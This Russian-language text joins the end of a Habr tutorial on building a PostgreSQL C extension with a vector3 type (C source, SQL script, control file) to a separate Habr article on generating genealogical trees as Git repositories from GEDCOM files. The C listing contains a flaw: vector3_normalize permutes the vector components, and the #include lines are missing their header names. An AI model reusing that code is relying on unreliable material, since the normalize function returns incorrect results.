'(0.0,1.0,0.0)'::vector3 + '(0.5,0.5,0.0)'::vector3; -- (0.500000,1.500000,0.000000) SELECT 5.0 * '(0.2,0.2,1.33)'::vector3; -- (1.000000,1.000000,6.650000) SELECT '(1.0,0.5,0.1)'::vector3 * '(0.707,0.707,0.707)'::vector3; -- 1.1312 SELECT '(1.0,0.0,0.0)'::vector3 ** '(0.0,1.0,0.0)'::vector3; -- (0.000000,0.000000,1.000000) ``` Уже лучше. Кстати, мы обьявили два оператора для умножения с аргументом типа скаляр, для случая, когда скаляр слева оператора и когда он справа. И аналогично для деления. Поэтому нам и потребовались пары функций vector3\_mul\_left/vector3\_mul\_right и vector3\_div\_left/vector3\_div\_right. Может возникнуть вопрос: а как получить доступ к компонентам вектора? Можно было бы объявить три C-функции vector3\_x, vector3\_y и vector3\_z, которые бы возращали каждую компоненту, но есть способ лучше. #### **Приведение типов** ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/e1b/751/a03/e1b751a0327a55748ab568a7adf88a16.jpg) Еще одной примечательной возможностью в **PostgreSQL** является создание [пользовательского приведения](http://www.postgresql.org/docs/9.3/static/sql-createcast.html) типов. Если оба типа имеют одинаковое внутреннее представление (к примеру, varchar и text), то необходимости в функции для преобразования типов нет. В противном случае, эту функцию необходимо определить. Она должна возращать тип, к которому происходит приведение и может иметь от одного до трёх параметров: * *тип который приводится* * *integer* — модификатор, ассоциированный с типом к которому происходит приведение или -1 * *boolean* — true, если приведение явное, в противном случае false Приведение может учавствовать только контексте присваивания или же в любом контексте. Это поведение указывается с помощью параметров AS ASSIGNMENT и AS IMPLICIT. Параметр WITH INOUT указывает использовать функции ввода/вывода для приведения. Определим новый композитный тип vector3c и приведение к нему типа vector3 (и наоборот): ``` CREATE TYPE vector3c AS ( x double precision, y double precision, z double precision ); CREATE OR REPLACE FUNCTION vector3_cast_vector3c ( v0 vector3 ) RETURNS vector3c AS $BODY$ DECLARE s text[]; v vector3c; BEGIN s := string_to_array ( trim ( BOTH '()' FROM v0::text ), ',' ); v.x := s[1]; v.y := s[2]; v.z := s[3]; RETURN v; END $BODY$ LANGUAGE plpgsql IMMUTABLE; CREATE OR REPLACE FUNCTION vector3c_cast_vector3 ( v0 vector3c ) RETURNS vector3 AS $BODY$ DECLARE v vector3; BEGIN v := v0::text; RETURN v; END $BODY$ LANGUAGE plpgsql IMMUTABLE; CREATE CAST ( vector3 AS vector3c ) WITH FUNCTION vector3_cast_vector3c ( v0 vector3 ) AS IMPLICIT; CREATE CAST ( vector3c AS vector3 ) WITH FUNCTION vector3c_cast_vector3 ( v0 vector3c ) AS IMPLICIT; ``` В функции *vector3\_cast\_vector3c* мы сперва приводим vector3 к тексту, убираем первую и последнюю скобки и затем, используя разделитель запятую, преобразовываем к массиву из трёх елементов, из которого берем компоненты вектора. В *vector3c\_cast\_vector3*, для наглядности, можно сразу преобразовывать vector3c в текст и затем приводить к vector3 (текстовое представление для vector3c и vector3 имеет один и тот же вид). Проверим приведение типов: ``` SELECT ('(0.1,1.0,0.5)'::vector3)::vector3c; -- (0.1,1,0.5) SELECT ('(0.707,0.0,0.0)'::vector3c)::vector3; -- (0.707000,0.000000,0.000000) ``` #### **Создание расширения** ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/5d7/86e/9e0/5d786e9e06a3aa079318f3766c355d34.jpg) Когда всё готово и протестировано, осталось обернуть нашу библитеку в расширение. Соберем весь С-код в один файл: **Файл math3d.c (исходный С-код динамически загружаемой библиотеки расширения math3d)** ``` #include #include #include #include #ifdef PG\_MODULE\_MAGIC PG\_MODULE\_MAGIC; #endif // types typedef struct { double x, y, z; } vector3; // declarations PG\_FUNCTION\_INFO\_V1(vector3\_in); PG\_FUNCTION\_INFO\_V1(vector3\_out); PG\_FUNCTION\_INFO\_V1(vector3\_recv); PG\_FUNCTION\_INFO\_V1(vector3\_send); PG\_FUNCTION\_INFO\_V1(vector3\_minus); PG\_FUNCTION\_INFO\_V1(vector3\_add); PG\_FUNCTION\_INFO\_V1(vector3\_sub); PG\_FUNCTION\_INFO\_V1(vector3\_mul\_left); PG\_FUNCTION\_INFO\_V1(vector3\_mul\_right); PG\_FUNCTION\_INFO\_V1(vector3\_div\_left); PG\_FUNCTION\_INFO\_V1(vector3\_div\_right); PG\_FUNCTION\_INFO\_V1(vector3\_equal); PG\_FUNCTION\_INFO\_V1(vector3\_not\_equal); PG\_FUNCTION\_INFO\_V1(vector3\_dot); PG\_FUNCTION\_INFO\_V1(vector3\_cross); PG\_FUNCTION\_INFO\_V1(vector3\_length); PG\_FUNCTION\_INFO\_V1(vector3\_normalize); PG\_FUNCTION\_INFO\_V1(vector3\_distance); // implementation Datum vector3\_in(PG\_FUNCTION\_ARGS) { char \*s = PG\_GETARG\_CSTRING(0); vector3 \*v = (vector3\*)palloc(sizeof(vector3)); if (sscanf(s, "(%lf,%lf,%lf)", &(v->x), &(v->y), &(v->z)) != 3) { ereport(ERROR, (errcode(ERRCODE\_INVALID\_TEXT\_REPRESENTATION), errmsg("Invalid input syntax for vector3: \"%s\"", s))); } PG\_RETURN\_POINTER(v); } Datum vector3\_out(PG\_FUNCTION\_ARGS) { vector3 \*v = (vector3\*)PG\_GETARG\_POINTER(0); char \*s = (char\*)palloc(100); snprintf(s, 100, "(%lf,%lf,%lf)", v->x, v->y, v->z); PG\_RETURN\_CSTRING(s); } Datum vector3\_recv(PG\_FUNCTION\_ARGS) { StringInfo buffer = (StringInfo)PG\_GETARG\_POINTER(0); vector3 \*v = (vector3\*)palloc(sizeof(vector3)); v->x = pq\_getmsgfloat8(buffer); v->y = pq\_getmsgfloat8(buffer); v->z = pq\_getmsgfloat8(buffer); PG\_RETURN\_POINTER(v); } Datum vector3\_send(PG\_FUNCTION\_ARGS) { vector3 \*v = (vector3\*)PG\_GETARG\_POINTER(0); StringInfoData buffer; pq\_begintypsend(&buffer); pq\_sendfloat8(&buffer, v->x); pq\_sendfloat8(&buffer, v->y); pq\_sendfloat8(&buffer, v->z); PG\_RETURN\_BYTEA\_P(pq\_endtypsend(&buffer)); } Datum vector3\_minus(PG\_FUNCTION\_ARGS) { vector3 \*v0 = (vector3\*)PG\_GETARG\_POINTER(0); vector3 \*v = (vector3\*)palloc(sizeof(vector3)); v->x = -v0->x; v->y = -v0->y; v->z = -v0->z; PG\_RETURN\_POINTER(v); } Datum vector3\_add(PG\_FUNCTION\_ARGS) { vector3 \*v0 = (vector3\*)PG\_GETARG\_POINTER(0); vector3 \*v1 = (vector3\*)PG\_GETARG\_POINTER(1); vector3 \*v = (vector3\*)palloc(sizeof(vector3)); v->x = v0->x + v1->x; v->y = v0->y + v1->y; v->z = v0->z + v1->z; PG\_RETURN\_POINTER(v); } Datum vector3\_sub(PG\_FUNCTION\_ARGS) { vector3 \*v0 = (vector3\*)PG\_GETARG\_POINTER(0); vector3 \*v1 = (vector3\*)PG\_GETARG\_POINTER(1); vector3 \*v = (vector3\*)palloc(sizeof(vector3)); v->x = v0->x - v1->x; v->y = v0->y - v1->y; v->z = v0->z - v1->z; PG\_RETURN\_POINTER(v); } Datum vector3\_mul\_left(PG\_FUNCTION\_ARGS) { vector3 \*v0 = (vector3\*)PG\_GETARG\_POINTER(0); double k = PG\_GETARG\_FLOAT8(1); vector3 \*v = (vector3\*)palloc(sizeof(vector3)); v->x = v0->x \* k; v->y = v0->y \* k; v->z = v0->z \* k; PG\_RETURN\_POINTER(v); } Datum vector3\_mul\_right(PG\_FUNCTION\_ARGS) { double k = PG\_GETARG\_FLOAT8(0); vector3 \*v0 = (vector3\*)PG\_GETARG\_POINTER(1); vector3 \*v = (vector3\*)palloc(sizeof(vector3)); v->x = k \* v0->x; v->y = k \* v0->y; v->z = k \* v0->z; PG\_RETURN\_POINTER(v); } Datum vector3\_div\_left(PG\_FUNCTION\_ARGS) { vector3 \*v0 = (vector3\*)PG\_GETARG\_POINTER(0); double k = PG\_GETARG\_FLOAT8(1); vector3 \*v = (vector3\*)palloc(sizeof(vector3)); v->x = v0->x / k; v->y = v0->y / k; v->z = v0->z / k; PG\_RETURN\_POINTER(v); } Datum vector3\_div\_right(PG\_FUNCTION\_ARGS) { double k = PG\_GETARG\_FLOAT8(0); vector3 \*v0 = (vector3\*)PG\_GETARG\_POINTER(1); vector3 \*v = (vector3\*)palloc(sizeof(vector3)); v->x = k / v0->x; v->y = k / v0->y; v->z = k / v0->z; PG\_RETURN\_POINTER(v); } Datum vector3\_equal(PG\_FUNCTION\_ARGS) { vector3 \*v0 = (vector3\*)PG\_GETARG\_POINTER(0); vector3 \*v1 = (vector3\*)PG\_GETARG\_POINTER(1); bool equal = true; equal &= v0->x == v1->x; equal &= v0->y == v1->y; equal &= v0->z == v1->z; PG\_RETURN\_BOOL(equal); } Datum vector3\_not\_equal(PG\_FUNCTION\_ARGS) { vector3 \*v0 = (vector3\*)PG\_GETARG\_POINTER(0); vector3 \*v1 = (vector3\*)PG\_GETARG\_POINTER(1); bool not\_equal = false; not\_equal |= v0->x != v1->x; not\_equal |= v0->y != v1->y; not\_equal |= v0->z != v1->z; PG\_RETURN\_BOOL(not\_equal); } Datum vector3\_dot(PG\_FUNCTION\_ARGS) { vector3 \*v0 = (vector3\*)PG\_GETARG\_POINTER(0); vector3 \*v1 = (vector3\*)PG\_GETARG\_POINTER(1); double r = v0->x \* v1->x + v0->y \* v1->y + v0->z \* v1->z; PG\_RETURN\_FLOAT8(r); } Datum vector3\_cross(PG\_FUNCTION\_ARGS) { vector3 \*v0 = (vector3\*)PG\_GETARG\_POINTER(0); vector3 \*v1 = (vector3\*)PG\_GETARG\_POINTER(1); vector3 \*v = (vector3\*)palloc(sizeof(vector3)); v->x = v0->y \* v1->z - v0->z \* v1->y; v->y = v0->z \* v1->x - v0->x \* v1->z; v->z = v0->x \* v1->y - v0->y \* v1->x; PG\_RETURN\_POINTER(v); } Datum vector3\_length(PG\_FUNCTION\_ARGS) { vector3 \*v0 = (vector3\*)PG\_GETARG\_POINTER(0); double len = sqrt(v0->x \* v0->x + v0->y \* v0->y + v0->z \* v0->z); PG\_RETURN\_FLOAT8(len); } Datum vector3\_normalize(PG\_FUNCTION\_ARGS) { vector3 \*v0 = (vector3\*)PG\_GETARG\_POINTER(0); vector3 \*v = (vector3\*)palloc(sizeof(vector3)); double len = sqrt(v0->x \* v0->x + v0->y \* v0->y + v0->z \* v0->z); if (len > 0.000001) { v->x = v0->y / len; v->y = v0->z / len; v->z = v0->x / len; } else { v->x = 0.0; v->y = 0.0; v->z = 0.0; } PG\_RETURN\_POINTER(v); } Datum vector3\_distance(PG\_FUNCTION\_ARGS) { vector3 \*v0 = (vector3\*)PG\_GETARG\_POINTER(0); vector3 \*v1 = (vector3\*)PG\_GETARG\_POINTER(1); vector3 \*v = (vector3\*)palloc(sizeof(vector3)); v->x = v0->x - v1->x; v->y = v0->y - v1->y; v->z = v0->z - v1->z; double len = sqrt(v->x \* v->x + v->y \* v->y + v->z \* v->z); pfree(v); PG\_RETURN\_FLOAT8(len); } ``` Соберём саму динамически загружаемую библиотеку и поместим ее в каталог PGDIR/lib. Аналогично, создадим файл с SQL кодом: **Файл math3d--1.0.sql (скрипт SQL для расширения math3d)** ``` CREATE TYPE vector3; CREATE OR REPLACE FUNCTION vector3_in ( s cstring ) RETURNS vector3 AS 'MODULE_PATHNAME', 'vector3_in' LANGUAGE C IMMUTABLE STRICT; CREATE OR REPLACE FUNCTION vector3_out ( v vector3 ) RETURNS cstring AS 'MODULE_PATHNAME', 'vector3_out' LANGUAGE C IMMUTABLE STRICT; CREATE OR REPLACE FUNCTION vector3_recv ( p internal ) RETURNS vector3 AS 'MODULE_PATHNAME', 'vector3_recv' LANGUAGE C IMMUTABLE STRICT; CREATE OR REPLACE FUNCTION vector3_send ( v vector3 ) RETURNS bytea AS 'MODULE_PATHNAME', 'vector3_send' LANGUAGE C IMMUTABLE STRICT; CREATE TYPE vector3 ( internallength = 24, input = vector3_in, output = vector3_out, receive = vector3_recv, send = vector3_send ); CREATE OR REPLACE FUNCTION vector3_minus ( v0 vector3 ) RETURNS vector3 AS 'MODULE_PATHNAME', 'vector3_minus' LANGUAGE C IMMUTABLE STRICT; CREATE OPERATOR - ( rightarg = vector3, procedure = vector3_minus ); CREATE OR REPLACE FUNCTION vector3_add ( v0 vector3, v1 vector3 ) RETURNS vector3 AS 'MODULE_PATHNAME', 'vector3_add' LANGUAGE C IMMUTABLE STRICT; CREATE OPERATOR + ( leftarg = vector3, rightarg = vector3, procedure = vector3_add, commutator = + ); CREATE OR REPLACE FUNCTION vector3_sub ( v0 vector3, v1 vector3 ) RETURNS vector3 AS 'MODULE_PATHNAME', 'vector3_sub' LANGUAGE C IMMUTABLE STRICT; CREATE OPERATOR - ( leftarg = vector3, rightarg = vector3, procedure = vector3_sub ); CREATE OR REPLACE FUNCTION vector3_mul_left ( v0 vector3, k double precision ) RETURNS vector3 AS 'MODULE_PATHNAME', 'vector3_mul_left' LANGUAGE C IMMUTABLE STRICT; CREATE OPERATOR * ( leftarg = vector3, rightarg = double precision, procedure = vector3_mul_left, commutator = * ); CREATE OR REPLACE FUNCTION vector3_mul_right ( k double precision, v0 vector3 ) RETURNS vector3 AS 'MODULE_PATHNAME', 'vector3_mul_right' LANGUAGE C IMMUTABLE STRICT; CREATE OPERATOR * ( leftarg = double precision, rightarg = vector3, procedure = vector3_mul_right, commutator = * ); CREATE OR REPLACE FUNCTION vector3_div_left ( v0 vector3, k double precision ) RETURNS vector3 AS 'MODULE_PATHNAME', 'vector3_div_left' LANGUAGE C IMMUTABLE STRICT; CREATE OPERATOR / ( leftarg = vector3, rightarg = double precision, procedure = vector3_div_left ); CREATE OR REPLACE FUNCTION vector3_div_right ( k double precision, v0 vector3 ) RETURNS vector3 AS 'MODULE_PATHNAME', 'vector3_div_right' LANGUAGE C IMMUTABLE STRICT; CREATE OPERATOR / ( leftarg = double precision, rightarg = vector3, procedure = vector3_div_right ); CREATE OR REPLACE FUNCTION vector3_equal ( v0 vector3, v1 vector3 ) RETURNS boolean AS 'MODULE_PATHNAME', 'vector3_equal' LANGUAGE C IMMUTABLE STRICT; CREATE OPERATOR = ( leftarg = vector3, rightarg = vector3, procedure = vector3_equal ); CREATE OR REPLACE FUNCTION vector3_not_equal ( v0 vector3, v1 vector3 ) RETURNS boolean AS 'MODULE_PATHNAME', 'vector3_not_equal' LANGUAGE C IMMUTABLE STRICT; CREATE OPERATOR != ( leftarg = vector3, rightarg = vector3, procedure = vector3_not_equal ); CREATE OR REPLACE FUNCTION vector3_dot ( v0 vector3, v1 vector3 ) RETURNS double precision AS 'MODULE_PATHNAME', 'vector3_dot' LANGUAGE C IMMUTABLE STRICT; CREATE OPERATOR * ( leftarg = vector3, rightarg = vector3, procedure = vector3_dot, commutator = * ); CREATE OR REPLACE FUNCTION vector3_cross ( v0 vector3, v1 vector3 ) RETURNS vector3 AS 'MODULE_PATHNAME', 'vector3_cross' LANGUAGE C IMMUTABLE STRICT; CREATE OPERATOR ** ( leftarg = vector3, rightarg = vector3, procedure = vector3_cross, commutator = ** ); CREATE OR REPLACE FUNCTION length ( v0 vector3 ) RETURNS double precision AS 'MODULE_PATHNAME', 'vector3_length' LANGUAGE C IMMUTABLE STRICT; CREATE OR REPLACE FUNCTION normalize ( v0 vector3 ) RETURNS vector3 AS 'MODULE_PATHNAME', 'vector3_normalize' LANGUAGE C IMMUTABLE STRICT; CREATE OR REPLACE FUNCTION distance ( v0 vector3, v1 vector3 ) RETURNS double precision AS 'MODULE_PATHNAME', 'vector3_distance' LANGUAGE C IMMUTABLE STRICT; CREATE TYPE vector3c AS ( x double precision, y double precision, z double precision ); CREATE OR REPLACE FUNCTION vector3_cast_vector3c ( v0 vector3 ) RETURNS vector3c AS $BODY$ DECLARE s text[]; v vector3c; BEGIN s := string_to_array ( trim ( BOTH '()' FROM v0::text ), ',' ); v.x := s[1]; v.y := s[2]; v.z := s[3]; RETURN v; END $BODY$ LANGUAGE plpgsql IMMUTABLE; CREATE OR REPLACE FUNCTION vector3c_cast_vector3 ( v0 vector3c ) RETURNS vector3 AS $BODY$ DECLARE v vector3; BEGIN v := v0::text; RETURN v; END $BODY$ LANGUAGE plpgsql IMMUTABLE; CREATE CAST ( vector3 AS vector3c ) WITH FUNCTION vector3_cast_vector3c ( v0 vector3 ) AS IMPLICIT; CREATE CAST ( vector3c AS vector3 ) WITH FUNCTION vector3c_cast_vector3 ( v0 vector3c ) AS IMPLICIT; ``` Имя файла должно быть в виде <имя\_расширения>--<версия>.sql. Версия у нас будет 1.0. Поместим этот файл в каталог PGDIR/share/extension. Заметьте, что имя динамически загружаемой библиотеки в объявлениях функций изменилось на переменную MODULE\_PATHNAME, которая будет объявлена в управляющем файле расширения. Создадим этот файл: ``` # math3d extension comment = '3D mathematics' default_version = '1.0' module_pathname = '$libdir/math3d' relocatable = true ``` Среди доступных параметров имеется следующие: * *default\_version* — версия по умолчанию * *comment* — комментарий * *encoding* — кодировка скрипта, если не указана испольуется кодировка БД * *module\_pathname* — имя динамически загружаемой библиотеки (подставляется в переменную MODULE\_PATHNAME в скрипте) * *requires* — список расширений, от которых зависит текущее * *relocatable* — если true, то расширение не привязывается к конкретной схеме и объекты, после создания, могут быть перемещены в другую схему (по умолчанию false) * *schema* — схема, в которой создаются объекты расширения (параметр имеет значение, если *relocatable* установлено в false) Имя управляющего файла должно быть в виде <имя\_расширения>.control, в данном случае math3d.control. Поместим его в каталог PGDIR/share/extension. В принципе, расширение готово к использованию. Создадим новую БД, соединимся с ней и загрузим наше расширение: ``` CREATE EXTENSION math3d; ``` Если проблем нет, можно пользоватся нашим новым типом vector3 — объявлять как поле таблицы или композитного типа, использовать в параметрах функции и в прочих местах. Удаление расширения и зависимых объектов делается аналогичной командой: ``` DROP EXTENSION math3d; ``` Расширение может содержать конфигурационные таблицы, изменяемые после установки расширения. Так как обычные таблицы, создаваемые в скрипте расширения и ее данные не попадают в дамп, конфигурационные таблицы необходимо специальным образом пометить: ``` CREATE TABLE user_setting ( username text, key text, value text ); SELECT pg_catalog.pg_extension_config_dump ( 'user_setting', '' ); ``` Второй параметр pg\_catalog.pg\_extension\_config\_dump может содержать условие, которое фильтрует данные, попадаемые в дамп, к примеру, 'WHERE username = ''administrator'''. В нашем случае, нет необходимости в конфигурационных таблицах. При обновлении расширения до более новой версии создается скрипт, имеющий имя в виде <имя\_расширения>--<старая\_версия>--<новая\_версия>.sql, в котором содержатся SQL команды для обновления. Если бы мы захотели обновить math3d до версии 1.1, нам нужно было бы создать файл math3d--1.0--1.1.sql и выполнить SQL команду в БД: ``` ALTER EXTENSION math3d UPDATE TO '1.1' ``` Остальные команды для изменения расширения (подробней описано [тут](http://www.postgresql.org/docs/9.3/static/sql-alterextension.html)): ``` ALTER EXTENSION <имя_расширения> SET SCHEMA <новая схема>; -- перемещение расширения в указанную схему ALTER EXTENSION <имя_расширения> ADD <объект>; -- добавление объекта в расширение ALTER EXTENSION <имя_расширения> DROP <объект>; -- удаление объекта из расширения ``` Еще одной хорошей вещью в расширении есть то, что нельзя обычной командой (DROP TABLE, DROP FUNCTION и т.д.) случайно удалить объект, входящий в состав расширения. #### **Заключение** ![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/851/8e2/2ce/8518e22ce7dfed64eab826028f5cdbaf.jpg) Если в Вашей БД активно используется функционал, основанный на хранимых функциях и обновляемых представлениях, его можно вынести в расширение, получив некоторую обособленность от других объектов в БД и упростив расширяемость. P.S. Спасибо за внимание. Ссылки: * [Официальная документация по PostgreSQL](http://www.postgresql.org/docs/9.3/static)
https://habr.com/ru/post/198332/
null
ru
null
# Генеалогическое древо внутри Git Поздравляю всех с днем программиста! Желаю больше ярких "коммитов", принятых "пулл-реквестов", меньше незапланированных "мержей" и чтобы ваши ветви жизни оставались актуальными как можно дольше. В качестве идейного подарка предлагаю реализацию генеалогического древа средствами системы контроля версий Git. Ну что же… звучит как план! [![Kochurkins](https://habrastorage.org/r/w1560/webt/yh/yy/rd/yhyyrddjg12ufgdhyvfvis06au8.png)](https://habr.com/post/351158/) Для тех, кто сразу все понял, выкладываю исходники генератора: [GenealogyTreeInGit](https://github.com/KvanTTT/GenealogyTreeInGit.git) и сами генеалогические древа — [мое](https://github.com/KvanTTT/Kochurkins.git) и [президентов США](https://github.com/KvanTTT/Presidents.git). Кроме того, я реализовал простой [**социальный граф**](https://ru.wikipedia.org/wiki/%D0%A1%D0%BE%D1%86%D0%B8%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9_%D0%B3%D1%80%D0%B0%D1%84). Он отображает не только степень родства, но и статус отношений между потомками, отображает такие события как свадьба, развод, рождение ребенка, а также вклады в отношения тех или иных сторон. Git --- | | | | --- | --- | | | Напомню, что **[Git](https://ru.wikipedia.org/wiki/Git)** — одна из самых популярных систем контроля версий. Она мощная: в ней можно фиксировать изменения (commit), создавать и сливать ветви (checkout и merge), сравнивать разные версии файлов (diff), вычислять авторов конкретных строк (blame), а также делать многие другие вещи. | К счастью или к сожалению, Git в чем-то похож на государство-победителя: он позволяет менять историю, а именно менять даты, сообщения и авторов коммитов. Но это наоборот содействует в том, что позволяет добавлять членов семьи, как будто они авторы событий, сделанных в конкретную дату. Начал я с простого: написал несколько команд и вуаля — фрагмент древа готов. Отлично. Теперь надо это проделать со всей армией родственников. Я с радостью напишу для них 200 строчек команд, в которых можно запутаться, а для президентов — все 10К! Добавили меня в список идиотов? Вычеркивайте. Конечно же, я автоматизировал процесс и написал приложение для конвертации генеалогических данных в последовательность команд гита. Существуют несколько форматов таких данных, я выбрал **GEDCOM**. Gedcom ------ | | | | --- | --- | | | **[GEDCOM](https://ru.wikipedia.org/wiki/GEDCOM)** — формат описания генеалогических древ. Довольно старый, но текстовый и в целом простой. Спецификация формата неплохо [описана](https://webtreeprint.com/tp_famous_gedcoms.php) в интернете. Поддерживается чуть ли не всеми генеалогическими программами, поэтому примеров для него существует [множество](https://webtreeprint.com/tp_famous_gedcoms.php): древо президентов США, королевской династии, Шекспира. | Я реализовал все это безобразие на [.NET Core](https://www.microsoft.com/net/learn/get-started-with-dotnet-tutorial) — он удобный и кроссплатформенный. Для парсинга и обработки GEDCOM есть несколько библиотек под C#, например [GeneGenie.Gedcom](https://github.com/TheGeneGenieProject/GeneGenie.Gedcom), [gedcomx-csharp](https://github.com/FamilySearch/gedcomx-csharp). Я решил написать собственную на основе [GedcomParser](https://github.com/jaklithn/GedcomParser). Ну потому что она обладает [фатальным недостатком](https://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D0%BD%D0%B4%D1%80%D0%BE%D0%BC_%D0%BD%D0%B5%D0%BF%D1%80%D0%B8%D1%8F%D1%82%D0%B8%D1%8F_%D1%87%D1%83%D0%B6%D0%BE%D0%B9_%D1%80%D0%B0%D0%B7%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%BA%D0%B8)… На самом деле, нет: мне захотелось самому лучше разобраться в формате и избавиться от всех зависимостей, что позволит при желании легко портировать проект на другие языки. Генерация команд ---------------- Настал момент обхода извлеченных личностей в удобном нам формате и генерации команд Git для них. Было решено отсортировать все события в хронологическом порядке, а затем создавать ветки, мержить и коммитить их, продвигаясь в порядке возрастания дат. К сожалению, не у всех событий есть даты, поэтому пришлось изрядно повозиться чтобы отсортировать все события правильно. На носу 2^2^3, и я осознал что такой подход не совсем правильный, так как при обходе в глубину с датами возиться вообще не пришлось бы. Исправлюсь позже (но это не точно). ### Инициализация Все что требуется на этом этапе — инициализировать репозиторий: ``` mkdir Family cd Family git init ``` ### События В этой части скрипта обходятся и коммитятся все события. Для этого использовались такие команды: * `git checkout --orphan branch_name` * `git merge @I1@ --allow-unrelated-histories --no-commit` * `git commit -m "msg" --date "" --author "name " --allow-empty` Первая, `checkout`, создает ветвь для каждой личности. Флаг `--orphan` позволяет создавать ветки-сироты, т.е. ветки не имеющие родителей. Ветка-сирота создается один раз — при последующем переключении `checkout` этот параметр опускается. В конечном итоге практически все коммиты имеют родителей, за исключением самых дальних предков, потому что для них более ранние неизвестны. Вторая команда, `merge`, объединяет родителей и создает ребенка. Будем писать в сообщении коммита Birth — рождение с соответствующим годом. Также указываем флаги `--allow-unrelated-histories` и `--no-commit` для возможности мержить ветки-сироты и для того, чтобы закоммитить изменения позже. Некоторые дети являются приемными, поэтому для них будем писать Adopted. Забавно, но Git позволяет создавать шведские семьи, т.е. мержить одновременно несколько веток. А еще ветки не имеют пола, что придется по душе любителям "родитель 1" и "родитель 2". Наконец, третья команда, `commit`, создает коммит с сообщением `-m`, датой `--date` и автором `--author`. Как уже писал, Git позволяет подменять сообщение, автора и дату коммита. Более того, Git позволяет создавать коммиты без файлов с помощью флага `--allow-empty` и без сообщений с помощью `--allow-empty-message`. У автора также необходимо указывать электронную почту, но Git принимает и пустую — нужно просто передать `<>`. К сожалению, Git не уважает стариков: дата коммита почему-то снизу ограничена 1 январем 1970 года — более ранняя дата будет неправильно отображаться. Однако все не так страшно: можно просто записывать реальную дату в описание. Тем не менее, Git верит в будущее и принимает даты в будущем — обратите внимание на моего сына Git. Матерей- и отцов-одиночек, кстати, тоже можно создавать. #### Социальный граф В социальном графе фиксируются и другие события помимо рождения: крещение, изменение места жительства, получение образования, женитьба, развод, смерть, похороны. После смерти ~~ветвь попадает в цифровой рай~~ в ветви невозможно появление последующих событий, разве что кроме похорон. На сервере такую ветвь вообще можно запечатать, т. е. сделать [protected branch](https://help.github.com/articles/about-protected-branches/) (не волнуйтесь: в будущем "воскресить" можно будет при необходимости). Событие "Свадьба" имеет двух предков — супругов. А "Развод" имеет одного предка — предыдущее событие "Свадьба". Над семейной жизнью надо работать как и над детьми, поэтому можно сказать что после свадьбы появляется еще и новый потомок — "отношения", которые заканчиваются после развода. Ну и возобновляются опять после следующих циклов свадьба-развод. Кроме того, в отношениях могут участвовать несколько человек (слияние нескольких веток). ### Финализация Добавим вишенку к торту: сделаем бекап репозитория и выгрузим всех людей на GitHub, GitLab, либо любой другой сервер, поддерживающий Git. Можно пушить все ветки одну за другой, но мы с помощью [волшебной команды](https://stackoverflow.com/a/10479068/1046374) запушим их все, что намного быстрее и проще: ``` git remote add origin https://gitlab.com/KvanTTT/Family.git git push origin --all -u ``` Для генерации обычного генеалогического древа нужно передавать флаг `--only-birth-events` при запуске генератора. В этом случае будет создаваться по одному коммиту на человека (рождение). В противном случае будет генерироваться ~~социальная сеть~~ социальный граф. Примеры ------- В качестве небольшого примера, который по крайней мере везде откроется, я создал свое генеалогическое древо, а в качестве большого примера — древо президентов США (2145 человек). Они доступны в репозиториях [Kochurkins](https://github.com/KvanTTT/Kochurkins.git) и [Presidents](https://github.com/KvanTTT/Presidents.git) соответственно. Для создания своего я использовал сервис [geni.com](https://geni.com), откуда экспортировал древо в GEDCOM. Сгенерированный скрипт создания генеалогического репозитория доступен в [Gist](https://gist.github.com/KvanTTT/4a713955a54a062313d43ebb5a96824a). [![Presidents](https://habrastorage.org/r/w1560/webt/m4/jo/3b/m4jo3bciwk6p18vffeuti6hqr6a.png)](https://github.com/KvanTTT/Presidents.git) На GitHub, да и на GitLab можно перемещаться по предкам и потомкам. Это похоже на генеалогические вики-системы [Familypedia](http://familypedia.wikia.com) или [WeRelate](https://www.werelate.org). Правда гит(х|л)абы в чем-то более продвинуты: из них древа легко выкачиваются (с помощью команды `--clone`). А главное, можно открыть сразу весь граф. (В существующих генеалогических программах почему-то возникали сложности с открытием в полном объеме даже небольших графов.) Причем делать это можно с помощью разных инструментов (веб-сервис, [Git Extesions](https://gitextensions.github.io/), [Sourcetree](https://www.sourcetreeapp.com/), [GitKraken](https://www.gitkraken.com/) и других). Кроме того, эти сервисы можно использовать бесплатно, в отличие от большинства генеалогических. Примечательно, в гит\*абах доступно даже какое-то подобие аналитики: можно узнать у кого самая ~~инстаграмная жизнь~~ насыщенная событиями жизнь. Ну или самая открытая: на вкладке `Insights` отображается список людей в порядке уменьшения коммитов. [![Pulse](https://habrastorage.org/r/w1560/webt/7v/4p/xr/7v4pxrvctovcxeiwewy9g003uhq.png)](https://github.com/KvanTTT/Presidents/pulse) К сожалению, большие древа GitHub и GitLab отображают некорректно, однако хранят их правильно — можно затянуть репозиторий и убедиться в этом. Вот как выглядит мое дерево в веб-интерфейсе гитлаба: [![Kochurkins GitLab](https://habrastorage.org/r/w1560/webt/ps/mt/qt/psmtqt55zoykekwsk1vndm2asy0.png)](https://gitlab.com/KvanTTT/Kochurkins/network/@I1@) Проблемы -------- Не очень ясно, как дополнять историю с корней. Пока что приходится генерировать ее полностью из GEDCOM-файла. Не исключаю что это можно сделать с помощью хитрого rebase — можете поэкспериментировать и рассказать в комментариях. Также было бы неплохо переписать код чтобы он работал "коммит-ориентированно", а не "событийно ориентированно", т.к. это естественней относительно гита: на самом деле, ветви в нем являются последовательностью коммитов, а не отдельными сущностями. Еще я думал, как можно привязать [теги](https://git-scm.com/book/ru/v1/%D0%9E%D1%81%D0%BD%D0%BE%D0%B2%D1%8B-Git-%D0%A0%D0%B0%D0%B1%D0%BE%D1%82%D0%B0-%D1%81-%D0%BC%D0%B5%D1%82%D0%BA%D0%B0%D0%BC%D0%B8) и [подмодули](https://git-scm.com/book/ru/v1/%D0%98%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B-Git-%D0%9F%D0%BE%D0%B4%D0%BC%D0%BE%D0%B4%D1%83%D0%BB%D0%B8), но пока что знаю как это лучше сделать. Заключение ---------- Если расширить идею генеалогических древ дальше, на веб-сервисы для разработчиков, то с помощью [issues](https://help.github.com/articles/about-issues/) можно заводить разные глобальные задачи и распределять их по разным [вехам (milestone)](https://help.github.com/articles/about-milestones/): детство, юность, взрослая жизнь, старость. 